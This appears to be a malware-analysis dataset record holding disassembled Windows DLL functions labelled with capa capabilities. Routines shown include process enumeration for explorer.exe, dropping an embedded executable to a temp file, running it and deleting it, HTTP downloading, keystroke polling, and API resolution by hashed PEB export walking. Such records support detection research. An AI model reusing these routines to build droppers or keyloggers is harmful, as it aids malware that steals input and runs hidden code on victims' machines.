joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000daf8
Capabilities:
Enumerate processes

Disassembly:
sub rsp, 0x28
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
cmp rax, 0xffffffffffffffff
jne 0x18000db14
xor eax, eax
add rsp, 0x28
ret
mov rcx, rax
add rsp, 0x28
jmp 0x18000df68
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x180]
sub rsp, 0x280
or eax, 0xffffffff
lea rdx, [rsp + 0x40]
mov rdi, rcx
xor esi, esi
mov dword [rsp + 0x40], 0x238
mov dword [rbp + 0x1a8], eax
mov dword [rbp + 0x1ac], eax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x18000e045
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x6c]
call fcn.18000b298
test eax, eax
jne 0x18000e037
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18000e037
lea rax, [rbp + 0x1b8]
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x1b0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
test eax, eax
je 0x18000e02e
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jns 0x18000e02e
mov rax, qword [rbp + 0x1b0]
mov esi, dword [rsp + 0x48]
mov qword [rbp + 0x1a8], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18000dfab
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x2a0]
mov eax, esi
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret

Function at 0x18000df68
Capabilities:
Enumerate processes

Disassembly:
sub rsp, 0x28
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
cmp rax, 0xffffffffffffffff
jne 0x18000db14
xor eax, eax
add rsp, 0x28
ret
mov rcx, rax
add rsp, 0x28
jmp 0x18000df68
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x180]
sub rsp, 0x280
or eax, 0xffffffff
lea rdx, [rsp + 0x40]
mov rdi, rcx
xor esi, esi
mov dword [rsp + 0x40], 0x238
mov dword [rbp + 0x1a8], eax
mov dword [rbp + 0x1ac], eax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x18000e045
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x6c]
call fcn.18000b298
test eax, eax
jne 0x18000e037
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18000e037
lea rax, [rbp + 0x1b8]
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x1b0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
test eax, eax
je 0x18000e02e
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jns 0x18000e02e
mov rax, qword [rbp + 0x1b0]
mov esi, dword [rsp + 0x48]
mov qword [rbp + 0x1a8], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18000dfab
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x2a0]
mov eax, esi
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000e1f4
Capabilities:
Create process on windows
Delete file
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x100
mov r14, rcx
call fcn.18000e544
xor ebx, ebx
mov rdi, rax
test rax, rax
jne 0x18000e227
xor al, al
jmp 0x18000e37e
mov qword [rsp + 0x30], rbx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x18000e220
lea r9, [rbp + 0x6f]
lea rdx, [0x1800184a0]
mov r8d, 0x12800
mov rcx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
test eax, eax
jne 0x18000e287
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000e220
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x180013e34]
lea rcx, [rbp - 0x51]
call fcn.180001a8c
lea rcx, [rbp - 0x51]
mov rdx, rdi
call fcn.180001bc0
lea rdx, [0x180013e4c]
lea rcx, [rbp - 0x51]
call fcn.180001bc0
lea rcx, [rbp - 0x51]
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, r14
call fcn.180001d38
mov esi, 0x68
lea rcx, [rbp - 0x29]
mov r8d, esi
xor edx, edx
call fcn.18000a480
xor eax, eax
cmp qword [rbp - 0x39], 8
mov qword [rbp - 0x69], rax
mov qword [rbp - 0x61], rax
mov qword [rbp - 0x59], rax
lea rax, [rbp - 0x69]
lea rdx, [rbp - 0x51]
mov dword [rbp - 0x29], esi
cmovae rdx, qword [rbp - 0x51]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x29]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x18000e36c
mov rcx, qword [rbp - 0x69]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x18000e36a
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000e36c
mov bl, 1
cmp qword [rbp - 0x39], 8
jb 0x18000e37c
mov rcx, qword [rbp - 0x51]
call fcn.180003e70
mov al, bl
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x18000e39c
Capabilities:
Create process on windows
Delete file
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x100
mov r14, rcx
call fcn.18000e544
xor ebx, ebx
mov rdi, rax
test rax, rax
jne 0x18000e3cf
xor al, al
jmp 0x18000e526
mov qword [rsp + 0x30], rbx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x18000e3c8
lea r9, [rbp + 0x6f]
lea rdx, [0x18002aca0]
mov r8d, 0x12800
mov rcx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
test eax, eax
jne 0x18000e42f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000e3c8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x180013df4]
lea rcx, [rbp - 0x51]
call fcn.180001a8c
lea rcx, [rbp - 0x51]
mov rdx, rdi
call fcn.180001bc0
lea rdx, [0x180013e2c]
lea rcx, [rbp - 0x51]
call fcn.180001bc0
lea rcx, [rbp - 0x51]
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, r14
call fcn.180001d38
mov esi, 0x68
lea rcx, [rbp - 0x29]
mov r8d, esi
xor edx, edx
call fcn.18000a480
xor eax, eax
cmp qword [rbp - 0x39], 8
mov qword [rbp - 0x69], rax
mov qword [rbp - 0x61], rax
mov qword [rbp - 0x59], rax
lea rax, [rbp - 0x69]
lea rdx, [rbp - 0x51]
mov dword [rbp - 0x29], esi
cmovae rdx, qword [rbp - 0x51]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x29]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x18000e514
mov rcx, qword [rbp - 0x69]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x18000e512
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000e514
mov bl, 1
cmp qword [rbp - 0x39], 8
jb 0x18000e524
mov rcx, qword [rbp - 0x51]
call fcn.180003e70
mov al, bl
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x18000e544
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x28
lea rdx, [0x18003e810]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x18000e562
xor eax, eax
jmp 0x18000e5a3
lea r9, [0x18003ea20]
lea rdx, str.temp_
lea rcx, [0x18003e810]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x18000e55e
lea r8, str..exe
lea rcx, [0x18003ea20]
mov edx, 0x104
call fcn.180004400
lea rax, [0x18003ea20]
add rsp, 0x28
ret
Function at 0x18000e62c
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x150
xor edx, edx
mov rdi, rcx
mov dword [rsp + 0x20], 0x130
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000e6a0
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x18000e697
lea rcx, [rsp + 0x4c]
mov rdx, rdi
call fcn.180004204
mov rcx, rbx
test eax, eax
je 0x18000e68b
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x18000e666
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
jmp 0x18000e6a2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret
Function at 0x18000e6bc
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
xor r13d, r13d
mov r12, r8
mov rdi, rdx
mov rsi, rcx
mov ebx, 0x1388
mov r15d, 0x84000000
mov dword [r8], r13d
xor r9d, r9d
lea rcx, [0x180013e58]
xor r8d, r8d
lea edx, [r9 + 1]
mov dword [rsp + 0x20], r13d
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, rax
test rax, rax
jne 0x18000e718
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18000e6ea
cmp qword [rsi + 0x18], 8
jb 0x18000e724
mov rdx, qword [rsi]
jmp 0x18000e727
mov rdx, rsi
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r15d
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbp, rax
test rax, rax
jne 0x18000e783
cmp qword [rdi + 0x18], 8
jb 0x18000e754
mov rdx, qword [rdi]
jmp 0x18000e757
mov rdx, rdi
xor r9d, r9d
xor r8d, r8d
mov rcx, r14
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r15d
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbp, rax
test rax, rax
jne 0x18000e783
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x18000e70e
lea r9, [rsp + 0x88]
lea r8, [rsp + 0x70]
mov edx, 0x20000005
mov rcx, rbp
mov dword [rsp + 0x70], r13d
mov dword [rsp + 0x88], 4
mov qword [rsp + 0x20], r13
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ebx, dword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, rbp
mov r15, rax
test rax, rax
jne 0x18000e81e
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [rsi + 0x18], 8
jb 0x18000e7f7
mov rcx, qword [rsi]
call fcn.180003e70
mov qword [rsi + 0x10], r13
mov ebx, 7
mov qword [rsi + 0x18], rbx
mov word [rsi], r13w
cmp qword [rdi + 0x18], 8
jb 0x18000e817
mov rcx, qword [rdi]
call fcn.180003e70
xor eax, eax
jmp 0x18000e8a2
mov r8d, dword [rsp + 0x70]
mov ebx, r13d
mov rdx, rax
jmp 0x18000e848
mov eax, dword [rsp + 0x80]
test eax, eax
je 0x18000e85a
mov r8d, dword [rsp + 0x70]
add ebx, eax
mov rcx, rbp
mov edx, ebx
sub r8d, ebx
add rdx, r15
lea r9, [rsp + 0x80]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x18000e82b
mov rcx, rbp
mov dword [r12], ebx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [rsi + 0x18], 8
jb 0x18000e87f
mov rcx, qword [rsi]
call fcn.180003e70
mov qword [rsi + 0x10], r13
mov ebx, 7
mov qword [rsi + 0x18], rbx
mov word [rsi], r13w
cmp qword [rdi + 0x18], 8
jb 0x18000e89f
mov rcx, qword [rdi]
call fcn.180003e70
mov rax, r15
mov qword [rdi + 0x18], rbx
mov rbx, qword [rsp + 0x78]
mov qword [rdi + 0x10], r13
mov word [rdi], r13w
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000e8c4
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rdi, rcx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ebx, ebx
cmp word [rsp + 0x20], bx
jne 0x18000e8e9
xor eax, eax
jmp 0x18000e900
lea rdx, [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [rsp + 0x68], ebx
sete bl
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x180003db0
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x58
mov rax, qword [0x1801473c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ecx, dword [0x18016cfd4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
jne 0x180003e64
mov ecx, dword [0x18016cfc4]
test ecx, ecx
je 0x180003e08
sub ecx, 1
je 0x180003e01
sub ecx, 1
je 0x180003dfa
cmp ecx, 1
jne 0x180003e08
mov edx, 0x10002000
jmp 0x180003e0d
mov edx, 0x10001000
jmp 0x180003e0d
mov edx, 0x20000001
jmp 0x180003e0d
mov edx, 0x20000000
mov rax, qword [0x18016db40]
xor r9d, r9d
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov rax, qword [0x18016d7f8]
xor ecx, ecx
mov qword [rsp + 0x38], rax
xor eax, eax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call fcn.18009c270
xorps xmm1, xmm1
comiss xmm0, xmm1
ja 0x180003e64
xor al, al
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800a1b10
add rsp, 0x58
ret
mov al, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800a1b10
add rsp, 0x58
ret

Function at 0x1800055d0
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x28
call fcn.180005350
mov rax, qword [0x18016dc98]
cmp rax, qword [0x18016dca0]
mov dword [0x18016ce24], 0xffffffff
je 0x1800055fa
mov qword [0x18016dca0], rax
mov rax, qword [0x18016dc80]
cmp rax, qword [0x18016dc88]
je 0x180005611
mov qword [0x18016dc88], rax
xor eax, eax
mov dword [0x18016ce30], 0xffffffff
mov qword [0x18016ce38], rax
mov qword [0x18016ce40], rax
mov qword [0x18016ce48], rax
mov dword [0x18016ce50], eax
add rsp, 0x28
jmp fcn.180003db0
Function at 0x180007c30
Capabilities:
Read .ini file

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x98
movaps xmmword [rsp + 0x80], xmm6
mov rax, qword [0x1801473c0]
xor rax, rsp
mov qword [rsp + 0x78], rax
xorps xmm6, xmm6
mov rbp, rdx
cvtss2sd xmm6, xmm2
mov rsi, rcx
mov rdi, r9
lea rcx, [0x18012e274]
movaps xmm1, xmm6
movq rdx, xmm6
call fcn.180007b60
movsxd rbx, eax
lea rcx, [rsp + 0x38]
mov rdx, rbx
xor r8d, r8d
call fcn.180011cd0
cmp qword [rsp + 0x50], 0xf
lea rcx, [rsp + 0x38]
lea rdx, [rbx + 1]
movaps xmm3, xmm6
cmova rcx, qword [rsp + 0x38]
lea r8, [0x18012e274]
movq r9, xmm6
call fcn.180007b00
cmp qword [rsp + 0x50], 0xf
lea r8, [rsp + 0x38]
mov qword [rsp + 0x28], rdi
lea r9, [rsp + 0x58]
cmova r8, qword [rsp + 0x38]
mov rdx, rbp
mov rcx, rsi
mov dword [rsp + 0x20], 0x20
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea rcx, [rsp + 0x38]
call fcn.180006cb0
lea rcx, [rsp + 0x58]
call fcn.1800b2a84
cvtsd2ss xmm0, xmm0
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1800a1b10
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x18001ca90
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
cmp edx, 1
jne 0x18001cbae
mov qword [rsp + 0x40], rbx
xor ecx, ecx
mov qword [rsp + 0x30], rdi
call fcn.1800aeebc
mov rcx, rax
call fcn.1800a95ec
call fcn.1800a95c0
xor ebx, ebx
nop dword [rax]
call fcn.1800a95c0
inc rbx
cmp rbx, 0x80
jl 0x18001cac0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x18001cb67
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x18001cb67
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x18001cb62
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x18001cb40
cmp r8d, 0x8fb39146
je 0x18001cb6c
test r9d, r9d
jne 0x18001cb20
mov rax, qword [rax]
jmp 0x18001caf0
mov ecx, dword [rbx + 0x24]
lea r8, [0x18001c420]
add rcx, r10
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
movzx edx, word [rcx + r9*2]
xor r9d, r9d
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
xor ecx, ecx
call rax
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x40]
mov eax, 1
add rsp, 0x38
ret
Function at 0x18001f1f0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x18001f251
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x18001f210
mov ecx, dword [r9]
jmp 0x18001f338
cmp ecx, 0x4e0
jb 0x18001f338
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x18001f270
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop dword [rax + rax]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x18001f2c0
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x180020be0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x180020c3d
lea rbx, [0x1800e3ec0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x180020c24
cmp r10, 2
jb 0x180020c24
cmp byte [r9], r8b
jne 0x180020c24
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x180020c00
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x180020c7f
lea rbx, [0x1800e3ec0]
cmp r8b, 0x23
jne 0x180020c63
cmp byte [r9], r8b
jne 0x180020c63
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x180020c50
mov rbx, qword [rsp + 8]
not eax
ret
Function at 0x180020dc0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x180020dda
mov qword [r8], 0
call fcn.180020c90
mov rbx, rax
test rax, rax
jne 0x180020df3
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call fcn.1800b4318
mov esi, eax
cmp eax, 0xffffffff
je 0x180020ec1
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call fcn.1800b4e68
test eax, eax
jne 0x180020ec1
mov rcx, rbx
call fcn.1800b4318
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x180020ec1
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call fcn.1800b4e68
test eax, eax
jne 0x180020ec1
cmp rdi, 0xffffffffffffffff
je 0x180020ec1
mov rax, qword [0x18016d098]
test rax, rax
je 0x180020e63
inc dword [rax + 0x3b4]
mov rcx, rdi
call fcn.1800b846c
mov rsi, rax
test rax, rax
je 0x180020ec1
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call fcn.1800b5be0
mov rcx, rbx
cmp rax, rdi
je 0x180020eaf
call fcn.1800b4ab4
mov rax, qword [0x18016d098]
test rax, rax
je 0x180020ea5
dec dword [rax + 0x3b4]
mov rcx, rsi
call fcn.1800b2e34
jmp 0x180020ec9
call fcn.1800b4ab4
test r14, r14
je 0x180020ebc
mov qword [r14], rdi
mov rax, rsi
jmp 0x180020ecb
mov rcx, rbx
call fcn.1800b4ab4
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x18002d010
Capabilities:
Hash data with crc32

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 8], rcx
push rdi
sub rsp, 0x20
mov rax, qword [0x18016d098]
lea rdx, [0x1800e3ec0]
mov r8, rcx
mov rbx, qword [rax + 0x1ae0]
add rbx, 0xc8
movsxd r9, dword [rbx]
mov rax, qword [rbx + 8]
mov edi, dword [rax + r9*4 - 4]
not edi
movzx eax, r8b
mov r8d, dword [rbx + 4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [r11 + 9]
xor edi, dword [rdx + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [r11 + 0xa]
xor edi, dword [rdx + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [r11 + 0xb]
xor edi, dword [rdx + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [r11 + 0xc]
xor edi, dword [rdx + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [r11 + 0xd]
xor edi, dword [rdx + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [r11 + 0xe]
xor edi, dword [rdx + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [r11 + 0xf]
xor edi, dword [rdx + rcx*4]
movzx ecx, dil
shr edi, 8
xor rcx, rax
xor edi, dword [rdx + rcx*4]
not edi
cmp r9d, r8d
jne 0x18002d111
lea ecx, [r9 + 1]
test r8d, r8d
je 0x18002d0fd
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x18002d102
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
mov rcx, rbx
call fcn.1800355a0
movsxd rcx, dword [rbx]
mov rax, qword [rbx + 8]
mov dword [rax + rcx*4], edi
inc dword [rbx]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x18002d130
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x20
mov rax, qword [0x18016d098]
lea rdx, [0x1800e3ec0]
mov r8d, ecx
mov rbx, qword [rax + 0x1ae0]
add rbx, 0xc8
movsxd r9, dword [rbx]
mov rax, qword [rbx + 8]
mov edi, dword [rax + r9*4 - 4]
not edi
movzx eax, r8b
mov r8d, dword [rbx + 4]
movzx ecx, dil
